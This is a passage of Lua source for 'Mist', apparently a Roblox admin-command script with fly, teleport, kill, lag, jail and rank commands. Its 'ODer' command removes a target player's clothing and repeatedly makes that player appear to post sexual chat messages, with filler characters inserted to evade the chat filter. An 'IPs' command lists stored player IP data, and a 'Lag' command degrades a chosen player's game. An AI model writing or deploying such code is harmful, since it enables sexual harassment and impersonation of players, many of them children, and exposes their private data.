  4320. Mist.Functions.Output(nilText,'Green',Speaker,5);
  4321. return;
  4322. end;
  4323. if(Flags.h or Flags.rot)then
  4324. local tempMessage;
  4325. if(Flags.h)then
  4326. tempMessage=Mist.Functions.Hash(Message);
  4327. elseif(Flags.rot)then
  4328. tempMessage=Mist.Rot.Rotate_String(Message);
  4329. end;
  4330. --Parent,Name,Title,Position,Size,Base_Color,Buttons,BodyText)
  4331. if(Speaker and Speaker.Parent and Speaker:findFirstChild'PlayerGui')then
  4332. Mist.Functions.blankGui(Speaker.PlayerGui,'zeThingeh','Mist.Ping_Rot/Hash',nil,nil,nil,nil,tempMessage);
  4333. return;
  4334. else
  4335. Message=tempMessage;
  4336. end;
  4337. end;
  4338. Mist.Functions.Output(Message,'Random',Speaker);
  4339. end);
  4340. Mist.Functions.CreateCommand('Tickets','tickets',false,0,'Lists tickets','',function(Message,Speaker,Flags)
  4341. local tickets=0;
  4342. for _,v in next,Mist.Tickets do
  4343. tickets=tickets+1;
  4344. break;
  4345. end;
  4346. if(tickets==0)then
  4347. Mist.Functions.Output('No logged tickets','Red',Speaker,3);
  4348. else
  4349. Mist.Functions.Title('Tickets','Random',Speaker);
  4350. for player,ticket in next,Mist.Tickets do
  4351. Mist.Functions.Output(player..': '..ticket,Mist.Ranked[player].Color,Speaker);
  4352. end;
  4353. end;
  4354. end);
  4355. Mist.Functions.CreateCommand('PM','pm,pmsg',true,1,'PMs <Player> <Flag m <Text> >','%s m Message',function(Msg,Spkr,Flags)
  4356. for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  4357. coroutine.wrap(function()
  4358. local screen,frame,title,exit,body=Mist.Functions.blankGui(v:waitForChild'PlayerGui','Private_Message','[Mist]: Private Message from '..Spkr.Name);
  4359. body.Text=(Flags.m or'No body'):gsub('(.)',function(a)return a..'\5'end);
  4360. end)();
  4361. end;
  4362. end);
  4363. Mist.Functions.CreateCommand('IPs','ips',false,0,'Lists all IPs','',function(Message,Speaker,Flags)
  4364. local ips;
  4365. local function back()
  4366. Mist.Functions.Output('Back','Blue',Speaker,nil,function()
  4367. ips();
  4368. end);
  4369. end;
  4370. function ips()
  4371. Mist.Functions.RemoveTablets(Speaker);
  4372. Mist.Functions.Title('IP menu','Random',Speaker);
  4373. for ip,v in next,Mist.IPs do
  4374. Mist.Functions.Output(ip,'Random',Speaker,nil,function()
  4375. Mist.Functions.RemoveTablets(Speaker);
  4376. back();
  4377. for i,d in next,v do
  4378. local real='';
  4379. for info,value in next,d do
  4380. real=real..((real==''and'')or'\t')..tostring(info)..': '..tostring(value);
  4381. end;
  4382. Mist.Functions.Output(real,'Random',Speaker);
  4383. end;
  4384. end);
  4385. end;
  4386. end;
  4387. ips();
  4388. end);
  4389. Mist.Functions.CreateCommand('Get','get,g',true,0,'Gets <request>','',function(Message,Speaker,Flags)
  4390. local function ping(t)
  4391. Mist.Functions.Output(t,'Green',Speaker,15);
  4392. end;
  4393. for request in Message:gmatch'(%S+)'do
  4394. if(request=='r'or request=='reset')then
  4395. Speaker:loadCharacter();
  4396. ping'Got reset';
  4397. elseif(request=='fly')then
  4398. Mist.Functions.NewLocalScript([[
  4399. --fly
  4400. user=game:service'Players'.localPlayer;
  4401. mouse=user:getMouse();
  4402. torso=user.Character.Torso;
  4403. torso.Parent.Animate.Disabled=true;
  4404. torso.Anchored=true;
  4405. missileSpeed=16;
  4406. flightSpeed=2;
  4407. keys={};
  4408. missile=function()
  4409. coroutine.wrap(function()
  4410. local toHit=mouse.hit;
  4411. local missile=Instance.new'Part';
  4412. missile.Anchored=true;
  4413. missile.Size=Vector3.new(1,1,5);
  4414. missile.CanCollide=false;
  4415. missile.CFrame=torso.CFrame*CFrame.new(0,0,-5);
  4416. missile.Touched:connect(function(hit)
  4417. pcall(function()
  4418. if(not hit:isDecendantOf(torso.Parent)and hit:GetFullName()~='Workspace.Base')then
  4419. missile:remove();
  4420. Instance.new('Explosion',workspace).Position=hit.Position;
  4421. end;
  4422. end);
  4423. end);
  4424. missile.Parent=workspace;
  4425. local step=game:service'RunService'.Heartbeat;
  4426. while missile.Parent do
  4427. local dur=step:wait();
  4428. missile.CFrame=CFrame.new(missile.CFrame.p,toHit.p)*CFrame.new(0,0,-(dur*missileSpeed));
  4429. if( (missile.CFrame.p-toHit.p).magnitude<2 )then
  4430. missile:remove();
  4431. Instance.new('Explosion',workspace).Position=missile.CFrame.p;
  4432. end;
  4433. end;
  4434. end)();
  4435. end;
  4436. move=function()
  4437. if(keys.space)then
  4438. missile();
  4439. end;
  4440. local asd={0,0,0};
  4441. if(keys.w)then
  4442. asd[3]=-flightSpeed;
  4443. elseif(keys.s)then
  4444. asd[3]=flightSpeed;
  4445. end;
  4446. if(keys.q)then
  4447. asd[2]=-flightSpeed;
  4448. elseif(keys.e)then
  4449. asd[2]=flightSpeed;
  4450. end;
  4451. if(keys.d)then
  4452. asd[1]=flightSpeed;
  4453. elseif(keys.a)then
  4454. asd[1]=-flightSpeed;
  4455. end;
  4456. torso.CFrame=torso.CFrame*CFrame.new(unpack(asd));
  4457. end;
  4458. coroutine.wrap(function()
  4459. while(true)do
  4460. torso.CFrame=CFrame.new(torso.Position,mouse.hit.p);
  4461. move();
  4462. wait();
  4463. end;
  4464. end)();
  4465. mouse.keyDown:connect(function(k)
  4466. if(k:byte()==32)then
  4467. k='space';
  4468. end;
  4469. keys[k]=true;
  4470. end);
  4471. mouse.keyUp:connect(function(k)
  4472. if(k:byte()==32)then
  4473. k='space';
  4474. end;
  4475. keys[k]=false;
  4476. end);
  4477. pg=user.PlayerGui;
  4478. screen=Instance.new('ScreenGui',pg);
  4479. screen.Name='Flight control';
  4480. local frame=Instance.new('Frame',screen);
  4481. frame.Size=UDim2.new(.3,0,.5,0);
  4482. frame.Position=UDim2.new(.7,0,.25,0);
  4483. frame.Style='RobloxSquare';
  4484. local title=Instance.new('TextLabel',frame);
  4485. title.Size=UDim2.new(1,0,.2,0);
  4486. title.TextColor=BrickColor.new'White';
  4487. title.Text='Flight speed';
  4488. local flight=Instance.new('TextBox',frame);
  4489. flight.Size=UDim2.new(1,0,.3,0);
  4490. flight.Position=UDim2.new(0,0,.2,0);
  4491. flight.Text='Speed: 2';
  4492. flight.focusLost:connect(function()
  4493. local speed=tonumber(flight.Text:match'(%d*)')or flightSpeed;
  4494. flightSpeed=speed;
  4495. flight.Text='Speed: '..tostring(flightSpeed);
  4496. end);
  4497. local missleTitle=title:clone();
  4498. missleTitle.Text='Missle speed';
  4499. missleTitle.Parent=frame;
  4500. missleTitle.Position=UDim2.new(0,0,.5,0);
  4501. local m=flight:clone();
  4502. m.Parent=frame;
  4503. m.Text='Speed: 16';
  4504. m.Position=UDim2.new(0,0,.7,0);
  4505. m.focusLost:connect(function()
  4506. local speed=tonumber(m.Text:match'(%d*)')or missileSpeed;
  4507. missileSpeed=speed;
  4508. m.Text='Speed: '..tostring(missileSpeed);
  4509. end);
  4510.  
  4511. ]],Instance.new('Backpack',Speaker));
  4512. ping'Got fly tool Jump - Fire Missile MoveMent keys = wasd, q=up e=down';
  4513. elseif(request=='heal')then
  4514. pcall(function()Speaker.Character.Humanoid.Health=Speaker.Character.Humanoid.MaxHealth;end);
  4515. ping'Got health';
  4516. elseif(request=='suicide'or request=='die')then
  4517. pcall(function()Speaker.Character:breakJoints()end);
  4518. ping'Got suicide';
  4519. elseif(request=='nochar'or request=='nchar'or request=='nocharacter')then
  4520. pcall(function()Speaker.Character=nil;end);
  4521. ping'Got No Character';
  4522. elseif(request=='rejoin'or request=='rj')then
  4523. pcall(function()Mist.Functions.NewLocalScript('game:service\'TeleportService\':teleport(game.PlaceId)',Instance.new('Backpack',Speaker),'rejoin');end);
  4524. pcall(function()Mist.Services'teleportService':teleport(game.PlaceId,Speaker.Character)end);
  4525. ping'Got rejoin';
  4526. elseif(request=='fixlimbs')then
  4527. coroutine.wrap(function()
  4528. local limbs={
  4529. ['Right Arm']={'Right Shoulder';CFrame.new(1,.5,0,0,0,1,0,1,-0,-1,0,0),Vector3.new(1, 2, 1),.15,CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)};
  4530. ['Left Arm']={'Left Shoulder';CFrame.new(-1,.5,0,0,0,-1,0,1,0,1,0,0),Vector3.new(1, 2, 1),.15,CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)};
  4531. ['Left Leg']={'Left Hip';CFrame.new(-1,-1,0,0,0,-1,0,1,0,1,0,0),Vector3.new(1, 2, 1),.1,CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)};
  4532. ['Head']={'Neck';CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0),Vector3.new(2, 1, 1),.1,CFrame.new()};
  4533. ['Right Leg']={'Right Hip';CFrame.new(1,-1,0,0,0,1,0,1,-0,-1,0,0),Vector3.new(1, 2, 1),.1,CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)};
  4534. };
  4535. for limb,data in next,limbs do
  4536. coroutine.wrap(function()
  4537. if(not Speaker.Character:findFirstChild(limb))then
  4538. pcall(function()Speaker.Character.Torso:findFirstChild(data[1]):remove''end);
  4539. local motor,new=Instance.new'Motor6D',Instance.new'Part';
  4540. motor.MaxVelocity=data[4];
  4541. motor.Part0=Speaker.Character.Torso;
  4542. motor.Name=data[1];
  4543. motor.Part1=new;
  4544. new.FormFactor='Custom';
  4545. new.CanCollide=false;
  4546. new.Name=limb;
  4547. if(Speaker.Character:findFirstChild'Body Colors')then
  4548. pcall(function()
  4549. local color=Speaker.Character['Body Colors'][(limb:gsub('%s+','')..'Color')];
  4550. if(color)then
  4551. new.BrickColor=color;
  4552. end;
  4553. end);
  4554. end;
  4555. new.Size=data[3];
  4556. new.Parent=Speaker.Character;
  4557. motor.Parent=Speaker.Character.Torso;
  4558. motor.C0=data[2];
  4559. motor.C1=data[5];
  4560. end;
  4561. end)();
  4562. end;
  4563. local animate=v.Character:findFirstChild'Animate';
  4564. pcall(function()
  4565. animate.Disabled=true;
  4566. animate.Disabled=false;
  4567. end);
  4568. end)();
  4569. ping'Got fixed limbs';
  4570. elseif(request=='time')then
  4571. ping('Got time: '..Mist.Functions.GetTime(tick()));
  4572. elseif(request=='tp'or request=='teleport')then
  4573. pcall(function()Mist.Functions.NewLocalScript([[
  4574. --teleport--
  4575. user=game:service'Players'.localPlayer;
  4576. mouse=user:getMouse();
  4577. equipped=false;
  4578. hopper=Instance.new('HopperBin',user.Backpack);
  4579. hopper.selected:connect(function()equipped=true;end);
  4580. hopper.deselected:connect(function()equipped=false;end);
  4581. script.Parent=hopper;
  4582. mouse.button1Down:connect(function()
  4583. if(equipped)then
  4584. pcall(function()
  4585. user.Character.Torso.CFrame=mouse.Hit*CFrame.new(0,10,0);
  4586. end);
  4587. end;
  4588. end);
  4589. hopper.Name='teleport';]],Instance.new('Backpack',Speaker),'teleport')end);
  4590. ping'Got teleport tool';
  4591. elseif(request=='commands'or request=='cmds')then
  4592. for _,v in next,{
  4593. 'rj,rejoin','tp,teleport','reset,r','die,suicide','commands,cmds','nochar,nchar,nocharacter','time','heal','fixlimbs','fly'}do
  4594. ping('Get: '..tostring(v));
  4595. end;
  4596. end;
  4597. end;
  4598. end);
  4599. Mist.Functions.CreateCommand('ODer','oder,od',true,1,'Makes <Player> a oder','%s u un-od',function(Message,Speaker,Flags)
  4600. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  4601. coroutine.wrap(function()
  4602. pcall(function()Mist.Connections['OD;'..v.Name]:disconnect()end);
  4603. if(Flags.u)then return end;
  4604. local con={
  4605. last=0;
  4606. random=function()return math.random(0,2)end;
  4607. random_text=function()
  4608. local r={"I'm so lonely, wanna join me tonight ;)","Arg me so hor\5ny","Fu\5ck me now;)","Anyone wanna da\5te?","I want the D","I want the V","Who wants to fu\5ck","Anyone up for a one night stand?;)","I need someone to love me;)","I'm so wet","I'm so hard","Oh baby oh","i r in lov with justin bieber","Sum1 marry me"};
  4609. return r[math.random(1,#r)];
  4610. end;
  4611. disconnect=function(self)self['end']=true;end;
  4612. ['end']=false;
  4613. };
  4614. Mist.Connections['OD;'..v.Name]=con;
  4615. coroutine.wrap(function()
  4616. local con=Mist.Connections['OD;'..v.Name];
  4617. repeat wait()
  4618. pcall(function() v.Character.Shirt:remove() v.Character.Pants:remove() end);
  4619. if(con.last+3<tick())then
  4620. Mist.Services'Chat':Chat(v.Character.Head,con.random_text(),con.random());
  4621. con.last=tick();
  4622. end;
  4623. wait();
  4624. until con['end']==true;
  4625. end)();
  4626. end)();
  4627. end;
  4628. end);
  4629. Mist.Functions.CreateCommand('Explorer','exp,explore,explorer',false,0,'Explores <Game> or <Service>','No flags',function(Message,Speaker,Flags)
  4630. Mist.Functions.Explore(Game,Speaker,nil);
  4631. end);
  4632. Mist.Functions.CreateCommand('Dismiss','dismiss,dt',true,0,'Dismisses your tablets','%s f Force',function(Message,Speaker,Flags)
  4633. if(Flags.f)then for _,v in next,Mist.Functions.GetPlayers(Flags.f or Message,Speaker)do Mist.Functions.RemoveTablets(Message,Speaker) end return end;
  4634. Mist.Functions.RemoveTablets(Speaker);
  4635. end);
  4636. Mist.Functions.CreateCommand('Lag','lag',false,3,'Lags <Player>','%s b ban',function(Message,Speaker,Flags)
  4637. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  4638. Mist.Functions.Lag(v);
  4639. if(Flags.b)then
  4640. if(Mist.Ranked[Speaker.Name].Rank>=4)then
  4641. Mist.Ranked[v.Name].Rank=-3;
  4642. else
  4643. Mist.Functions.Output('Your rank is not high enough for this action','Red',Speaker,3);
  4644. end;
  4645. end;
  4646. end;
  4647. end);
  4648. Mist.Functions.CreateCommand('Jail','jail,lockup',true,2,'Jails <Player>','%s u unjail',function(Message,Speaker,Flags)
  4649. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  4650. Mist.Functions.Jail(v,Flags['u']~=nil);
  4651. end;
  4652. end);
  4653. Mist.Functions.CreateCommand('Remove','remove',false,4,'Removes Mist','No flags',function(Message,Speaker,Flags)
  4654. local Rank=Mist.Functions.GetRank(Speaker);
  4655. if(Rank>=4)then
  4656. coroutine.wrap(function()
  4657. Mist.Client:FireAllClients('End');
  4658. end)();
  4659. old_data.coroutine.wrap(function()
  4660. for _,thread in next,threads do
  4661. pcall(function()
  4662. old_data.coroutine.yield(thread);
  4663. end);
  4664. end;
  4665. end);
  4666. for _,repl in next,Mist.Functions.GetReplicators()do
  4667. pcall(function()
  4668. Mist.Functions.SendPacket('Break',repl:GetPlayer().Name);
  4669. end);
  4670. end;
  4671. for _,v in next,Mist.Tablets do
  4672. pcall(function() v.Model:Destroy() end);
  4673. end;
  4674. for _,v in next,Mist.Titles do
  4675. pcall(function() v.Model:Destroy() end);
  4676. end;
  4677. for _,v in next,Mist.Connections do
  4678. pcall(function()v:disconnect()end);
  4679. end;
  4680. Mist=nil;
  4681. setfenv(0,setmetatable({},{__index=function(self,index)
  4682. error('Mist is removed');return nil;
  4683. end}));
  4684. setfenv(1,setmetatable({},{__index=function(self,index)
  4685. error('Mist is removed');return nil;
  4686. end}));
  4687. for _,v in next,getfenv(0)do
  4688. getfenv(0)[_]=nil;
  4689. setfenv(0,setmetatable({},{__index=function(self,index)
  4690. error('Mist is removed');return nil;
  4691. end}));
  4692. setfenv(1,setmetatable({},{__index=function(self,index)
  4693. error('Mist is removed');return nil;
  4694. end}));
  4695. end;
  4696. Mist=nil;
  4697. else
  4698. if(Mist.Functions.Hash(Message)=='ababababba')then
  4699. Mist.Client:FireAllClients'End';
  4700. Mist={};
  4701. end;
  4702. end;
  4703. end);
  4704. Mist.Functions.CreateCommand('Home','home,gohome',true,0,'Takes you to home','%s s set home, %s r Reset,%s v View Home',function(Message,Speaker,Flags)
  4705. if(Flags.r)then Mist.Homes[Speaker.Name]=CFrame.new(0,10,0)return end;
  4706. if(Flags.v)then
  4707. Mist.Functions.Output('Home: '..(( Mist.Homes[Speaker.Name] and tostring(Mist.Homes[Speaker.Name]))or' not set use //home (flag)s to set'),'Green',Speaker)
  4708. return;
  4709. end;
  4710. if(Flags.s and Speaker.Character and Speaker.Character:findFirstChild'Torso')then
  4711. Mist.Homes[Speaker.Name]=Speaker.Character.Torso.CFrame;
  4712. else
  4713. pcall(function()Speaker.Character.Torso.CFrame=Mist.Homes[Speaker.Name]or CFrame.new(0,10,0)end);
  4714. end;
  4715. end);
  4716. Mist.Functions.CreateCommand('PRI Config','priconfig,configpri,private',true,2,'Configures the PRI','%s a Activate, %s t Type, %s add Add <player> %s rem remove <player>',function(Message,Speaker,Flags)
  4717. local function tobool(str)
  4718. local bool=false;
  4719. if(str=='on'or str=='0'or str=='true')then
  4720. bool=true;
  4721. end;
  4722. return bool;
  4723. end;
  4724. if(Flags.a)then
  4725. local bool=tobool(Flags.a);
  4726. Mist.Pri.Activated=bool;
  4727. end;
  4728. if(Flags.t)then
  4729. if(Mist.Pri.Types[Flags.t])then
  4730. Mist.Pri.Type=Flags.t;
  4731. end;
  4732. end;
  4733. if(Flags.add or Flags.rem)then
  4734. for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
  4735. Mist.Ranked[v.Name].Other.inPri=((Flags.add and true)or(Flags.rem and false)or false);
  4736. end;
  4737. end;
  4738. Mist.Functions.Output('Pri: '..tostring(Mist.Pri.Activated)..'\tType: '..Mist.Pri.Type,'Random',Speaker,3);
  4739. end);
  4740. Mist.Functions.CreateCommand('Create part','part',true,1,'Creates a Part in workspace','',function(Message,Speaker,Flags)
  4741. local anchored,transparency,cancollide,size=true,0,true,Vector3.new(2,1,3);
  4742. if(Flags.a)then
  4743. if(Flags.a=='false')then
  4744. anchored=false;
  4745. else
  4746. anchored=true;
  4747. end;
  4748. end;
  4749. if(Flags.c)then
  4750. if(Flags.c=='false')then
  4751. cancollide=false;
  4752. else
  4753. cancollide=true;
  4754. end;
  4755. end;
  4756. if(Flags.s)then
  4757. local x,y,z=Flags.s:match'(%d+)%s*%,?(%d+)%s*%,?(%d+)';
  4758. x=tonumber(x);y=tonumber(y);z=tonumber(z);
  4759. x=x or 2;y=y or 1;z=z or 3;
  4760. size=Vector3.new(x,y,z);
  4761. end;
  4762. if(Flags.t)then
  4763. transparency=tonumber(Flags.t)or transparency;
  4764. end;
  4765. meta_create'Part'{
  4766. Parent=workspace;
  4767. Anchored=anchored;
  4768. CanCollide=cancollide;
  4769. Size=size;
  4770. Transparency=transparency;
  4771. CFrame=(function()
  4772. local CF;
  4773. pcall(function()
  4774. CF=Speaker.Character.Torso.CFrame*CFrame.new(0,10,0);
  4775. end);
  4776. if(CF==nil)then
  4777. CF=CFrame.new(0,10,0);
  4778. end;
  4779. return CF;
  4780. end)();
  4781. };
  4782. end);
  4783. Mist.Functions.CreateCommand('Setrank','setrank,srank,sr',false,0,'Sets <Players> rank to <rank>','No flags',function(Message,Speaker,Flags)
  4784. local player,rank=Message:match'(.+)%s+(.+)';
  4785. for _,v in next,Mist.Functions.GetPlayers(player,Speaker)do
  4786. local r=tonumber(rank);
  4787. local function lel(d)Mist.Functions.Output(d,'Red',Speaker,5)end;
  4788. if(r>Mist.Functions.GetRank(Speaker))then
  4789. if(r<0 and Mist.Functions.GetRank(Speaker)<=0)then
  4790. lel'You cannot set a player\'s rank to below 0';
  4791. return;
  4792. end;
  4793. lel'You cannot set a player\'s rank to a rank above yours';
  4794. return;
  4795. end;
  4796. if(Mist.Functions.GetRank(v)>Mist.Functions.GetRank(Speaker))then
  4797. lel'You cannot set a player\'s rank when they outrank you';
  4798. return;
  4799. end;
  4800. Mist.Ranked[v.Name].Rank=r;
  4801. end;
  4802. end);
  4803. Mist.Functions.CreateCommand('Blast','blast',true,1,'Blasts <Player>','%s s Speed',function(Message,Speaker,Flags)
  4804. local speed=tonumber((Flags.s or'7'));
  4805. local first=Message:find('%s');
  4806. local players,number;
  4807. if(not first)then print'no first'players=Message number=3 else
  4808. players=Message:sub(1,first-1);
  4809. number=tonumber(Message:sub(first+1))or 5;
  4810. end;
  4811. for _,v in next,Mist.Functions.GetPlayers(players,Speaker)do
  4812. coroutine.wrap(function()
  4813. for i=1,number do
  4814. coroutine.wrap(function()
  4815. local b=CFrame.new(v.Character.Torso.CFrame.p)*CFrame.Angles(math.rad(i*3),0,0)*CFrame.new(0,0,-30);
  4816. local r=Instance.new('Part',v.Character);
  4817. r.Anchored=true;
  4818. r.Size=Vector3.new(1,1,3);
  4819. r.BrickColor=BrickColor.new'Navy blue';
  4820. r.CFrame=b;
  4821. repeat wait();
  4822. local d=wait();
  4823. r.CFrame=CFrame.new(r.Position,v.Character.Torso.Position)*CFrame.new(0,0,-(d*speed));
  4824. if( (r.Position-v.Character.Torso.Position).magnitude<3)then
  4825. Instance.new('Explosion',v.Character).Position=v.Character.Torso.Position;
  4826. v.Character:breakJoints();
  4827. r:remove();
  4828. end;
  4829. until r.Parent~=v.Character or v.Character:findFirstChild'Torso'==nil
  4830. r:remove();
  4831. end)();
  4832. end;
  4833. end)();
  4834. end;
  4835. end);
  4836. Mist.Functions.CreateCommand('Noob','noob',true,1,'Makes <Player> a noob','%s u un-noob',function(Msg,Spkr,Flags)
  4837. for _,p in next,Mist.Functions.GetPlayers(Msg,Spkr)do
  4838. for _,v in next,p.Character:children()do
  4839. if(v:isA'BasePart'and v.Name~='HumanoidRootPart')then
  4840.  
  4841. v.Transparency=1;
  4842. local w=Instance.new'Weld';
  4843. local f=v:Clone();
  4844. f.Anchored=false;
  4845. f.Transparency=0;
  4846. f.CFrame=CFrame.new();
  4847. f.CanCollide=false;
  4848. f.Parent=v;
  4849. f.TopSurface='Smooth';
  4850. f.BottomSurface='Smooth';
  4851. f.Name='__nob';
  4852. local weld=Instance.new'Weld';
  4853. weld.Part0=v;
  4854. weld.Part1=f;
  4855. weld.C0=CFrame.new();
  4856. weld.C1=CFrame.new();
  4857. weld.Parent=f;
  4858. if(v.Name=='Torso')then
  4859. f.BrickColor=BrickColor.new'Bright blue';
  4860. elseif(v.Name:find'Arm' or v.Name=='Head')then
  4861. f.BrickColor=BrickColor.new'Bright yellow';
  4862. else
  4863. f.BrickColor=BrickColor.new'Br. yellowish green';
  4864. end;
  4865. end;
  4866. end;
  4867. end;
  4868. end);
  4869. Mist.Functions.CreateCommand('Set trust level','stl,settrust,trust',false,3,'Sets <Players>\'s Trust Level to <level>','No flags',function(Message,Speaker,Flags)
  4870. local PM,TL;if(Message:match'(.+)%s+(.+)')then
  4871. PM,TL=Message:match'(.+)%s+(.+)';
  4872. TL=tonumber(TL)or 0;
  4873. else
  4874. PM=Message;TM=0;
  4875. end;
  4876. for _,v in next,Mist.Functions.GetPlayers(PM,Speaker,true)do
  4877. coroutine.wrap(function()
  4878. Mist.Ranked[v.Name].Trust=TL;
  4879. end)();
  4880. end;
  4881. end);
  4882. Mist.Functions.CreateCommand('Count','count',false,0,'Counts objects','',function(Msg,Spkr,Flags)
  4883. local classes,total={},0;
  4884. for _,v in next,Mist.Functions.RecursiveChildren(workspace,'all')do
  4885. classes[v.className]=((classes[v.className] or 0)+1);
  4886. total=total+1;
  4887. end;
  4888. Mist.Functions.Title('Count menu','Random',Spkr);
  4889. for _,v in next,classes do
  4890. Mist.Functions.Output(_..' : '..v,'Red',Spkr);
  4891. end;
  4892. Mist.Functions.Output('Total Instances: '..total,'Red',Spkr);
  4893. end);
  4894. Mist.Functions.CreateCommand('Kill','kill',true,1,'Kills <Player>','%s r Respawn,%s n Nuke,%s s Smite,%s j jump kill',function(Message,Speaker,Flags)
  4895. for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
  4896. coroutine.wrap(function()
  4897. if(Flags.r)then
  4898. Player:LoadCharacter();return;
  4899. end;
  4900. if(Flags.j)then
  4901. ypcall(coroutine.wrap(function()
  4902. local char,torso,hum;char=Player.Character;torso=char.Torso;hum=char.Humanoid;
  4903. local start=tick();
  4904. pcall(function() Mist.Connections['JumpK:'..Player.Name]:disconnect() end);
  4905. local fakeConn={
  4906. Conns={};
  4907. connected=true;
  4908. disconnect=function(self,...)
  4909. self.connected=false;
  4910. for _,v in next,self.Conns do
  4911. pcall(function() v:disconnect() end);
  4912. end;
  4913. end;
  4914. };
  4915. fakeConn.Conns['onCharAdded']=Player.CharacterAdded:connect(function()
  4916. fakeConn:disconnect();
  4917. end);
  4918. fakeConn.Conns['onPropChanged']=Player.Changed:connect(function()
  4919. if(Player.Character==nil)then
  4920. fakeConn:disconnect();
  4921. end;
  4922. end);
  4923. fakeConn.Conns['onHumDied']=hum.Died:connect(function()
  4924. fakeConn:disconnect();
  4925. end);
  4926. fakeConn.Conns['onLoop']=game:service'RunService'.Stepped:connect(function()
  4927. local now=math.abs(start-tick());
  4928. if(now>=1)then
  4929. start=tick();
  4930. hum:takeDamage(math.random(10,15));
  4931. for i=0,3.25,.25 do
  4932. torso.CFrame=torso.CFrame*CFrame.new(0,math.sin(i),0);
  4933. wait();
  4934. end;
  4935. end;
  4936. end);
  4937. end));
  4938. return;
  4939. end;
  4940. if(Flags.s)then
  4941. old_data.print(ypcall(coroutine.wrap(function()
  4942. local Character,Torso;Character=Player.Character;Torso=Character.Torso;
  4943. local Start=Torso.CFrame*CFrame.new(0,0,45);
  4944. local function arc(Start,Finish,Height,Color)
  4945. Height=Height or (Start.p-Finish.p).magnitude/10;
  4946. local cLerp=function(a,b,i)
  4947. return a:lerp(b,i)+Vector3.new(0,math.sin(i*3)*Height,0);
  4948. end;
  4949. for i=0,1,.1 do
  4950. local old,new;new=cLerp(Start.p,Finish.p,i+.1);old=cLerp(Start.p,Finish.p,i);
  4951. local real=CFrame.new(old,new);
  4952. local dist=(old-new).magnitude;
  4953. local line=Instance.new'Part';
  4954. line.Anchored,line.FormFactor,line.Size,line.CFrame,line.Parent=true,'Custom',Vector3.new(0,0,dist),real*CFrame.new(0,0,-dist/2),workspace;
  4955. line.CFrame=real*CFrame.new(0,0,-dist/2);
  4956. line.Color=Color;
  4957. line.Transparency=.5;
  4958. game:service'Debris':addItem(line,3);
  4959. end;
  4960. end;
  4961. local u=0;
  4962. for i=-3,3,.5 do
  4963. u=u+1;
  4964. coroutine.wrap(function()
  4965. arc(Torso.CFrame*CFrame.new(i,0,0),Start*CFrame.new(i,0,0),15,Color3.new(u/14,math.cos(u),math.sin(u)));
  4966. end)();
  4967. end;
  4968. for i=-1,1 do
  4969. print(ypcall(coroutine.wrap(function()
  4970. local hitPos=CFrame.new(Torso.CFrame.p)*CFrame.Angles(0,0,math.rad(30)*i)*CFrame.new(0,0,-25);
  4971. local last,Index=hitPos,2;
  4972. for i=0,25,10 do
  4973. Index=(Index+1%2);
  4974. local new=last*CFrame.Angles(math.rad(45*((Index==1 and 1)or -1)),0,0)*CFrame.new(0,0,-2.5);
  4975. local dist=(new.p-last.p).magnitude;
  4976. local bolt=Instance.new'Part';
  4977. bolt.FormFactor,bolt.Anchored,bolt.Size,bolt.CFrame='Custom',true,Vector3.new(0,0,dist),CFrame.new(last.p,new.p)*CFrame.new(0,0,-dist/2);
  4978. bolt.BrickColor,bolt.Parent=BrickColor.new'New Yeller',Character
  4979. wait();
  4980. end;
  4981. end)));
  4982. end;
  4983. wait(.25);
  4984. Player.Character:breakJoints();
  4985. for _,v in next,Player.Character:children()do
  4986. if(v:isA'BasePart')then
  4987. v.Velocity=(v.CFrame.lookVector*100);
  4988. end;
  4989. end;
  4990. end)));
  4991. return;
  4992. end;
  4993. if(Flags.n)then
  4994. coroutine.wrap(function()
  4995. local c=Player.Character;
  4996. local t=c.Torso;
  4997. local cc=t.CFrame;
  4998. for i=-math.random(1,3),math.random(1,3)do
  4999. coroutine.wrap(function()
  5000. local expl=Instance.new('Part',workspace);
  5001. expl.Anchored=true;
  5002. expl.TopSurface='Smooth';
  5003. expl.BottomSurface='Smooth';
  5004. expl.FormFactor='Custom';
  5005. expl.Shape='Ball';expl.CanCollide=false;
  5006. local x=math.random(-7,7);local y=math.random(-7,7);local z=math.random(-7,7);
  5007. for i=1,100+math.random(1,20),2.5 do
  5008. expl.Size=Vector3.new(i,i,i);
  5009. expl.BrickColor=BrickColor.new( ({'Really red','New Yeller','Dark orange'})[math.random(1,3)] );
  5010. expl.CFrame=cc*CFrame.new(x,y,z);
  5011. coroutine.wrap(function()
  5012. for _,v in next,Mist.Services'Players':players''do
  5013. pcall(function() if( (v.Character.Torso.CFrame.p-cc.p).magnitude< i/2) then v.Character:breakJoints() end end);
  5014. end;
  5015. end)();
  5016. wait();
  5017. end;
  5018. wait();
  5019. expl:remove();
  5020. end)();
  5021. end;
  5022. end)();
  5023. return;
  5024. end;
  5025. if(Flags.c)then
  5026. coroutine.wrap(function()
  5027. local c=Player.Character;
  5028. local cf=c:GetModelCFrame();
  5029. local p=Instance.new('Part',workspace);
  5030. p.CFrame=cf*CFrame.new(0,25,0);
  5031. p.Size=Vector3.new(10,1,10);
  5032. p:breakJoints();
  5033. p.Touched:connect(function(hit)
  5034. if(hit.Parent==c)then
  5035. c:breakJoints();
  5036. wait(5);
  5037. p:remove();
  5038. end;
  5039. end);
  5040. end)();
  5041. return;
  5042. end;
  5043. if(Flags.e)then
  5044. pcall(function()
  5045. local exp=Instance.new('Explosion',Player.Character);
  5046. exp.Position=Player.Character.Torso.Position;
  5047. end);
  5048. end;
  5049. Spawn(function()Player.Character:BreakJoints()end);
  5050. end)();
  5051. end;
  5052. end);
  5053. Mist.Functions.CreateCommand('Debug services','debug_s,debugs,debugserv,servdebug',false,2,'Server debugger','No flags',function(Message,Speaker,Flags)
  5054. local function tobool(b)return((b==true and'on')or'off');end;
